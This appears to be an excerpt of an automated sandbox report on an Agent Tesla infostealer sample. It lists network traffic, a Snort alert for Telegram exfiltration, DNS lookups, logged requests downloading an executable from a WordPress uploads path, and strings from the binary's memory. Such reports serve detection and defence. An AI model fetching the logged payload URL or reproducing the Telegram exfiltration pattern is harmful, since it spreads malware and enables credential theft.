Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49725 -> 149.154.167.220:443
Source: Traffic Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49728 -> 149.154.167.220:443
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Source: unknown DNS query: name: api.telegram.org
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2012/PROMZwFp385vXr HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: pzsrblog.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2012/PROMZwFp385vXr HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: pzsrblog.comIf-Modified-Since: Tue, 20 Dec 2022 05:25:57 GMTConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2012/PROMZwFp385vXr HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pzsrblog.comIf-Modified-Since: Tue, 20 Dec 2022 05:25:57 GMTConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2012/PROMZwFp385vXrN.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pzsrblog.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: INTERQGMOInternetIncJP INTERQGMOInternetIncJP
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 64.185.227.156 64.185.227.156
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: PROMZwFp385vXrN.exe, 00000011.00000002.629483672.0000000003370000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: msdt.exe, 00000004.00000002.444523521.0000000002F70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.499260856.0000000005C21000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://en.w-
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://fontfabrik.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.497239392.0000000005C43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.com.
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.546642632.0000000005C10000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507273478.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507759248.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.514679156.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507511308.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.514603755.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers(
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.503862428.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/N
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.506521208.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.505106593.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.505144546.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.505189322.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.htmlN
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.504649154.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersF
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.504582264.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersP
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.504649154.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersS
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.505144546.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.505189322.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersTP
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.503997791.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersg
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.507155731.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersn
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.503961397.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersp
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.506521208.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.508657318.0000000005C26000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507273478.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507759248.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com6=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.506521208.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507273478.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507759248.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comF
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.506521208.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507273478.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507759248.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comalic
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.508657318.0000000005C26000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507273478.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507759248.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comalsF
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.507273478.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507759248.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comd$=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.504476580.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comedta
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.504476580.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.505879437.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comj=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.506521208.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507273478.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507759248.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comlicY=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.546642632.0000000005C10000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comm
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.505879437.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comm/
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.507273478.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.507759248.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comrsiv
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.496449471.0000000005C42000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.496074815.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.496494097.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.496292759.0000000005C42000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.496697085.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.496527277.0000000005C43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.496292759.0000000005C42000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/H
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.496074815.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cna-er
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.510497541.0000000005C27000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.510115416.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.509829844.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.509981461.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.509871998.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.510314930.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.510347822.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.509783839.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.510270514.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm;
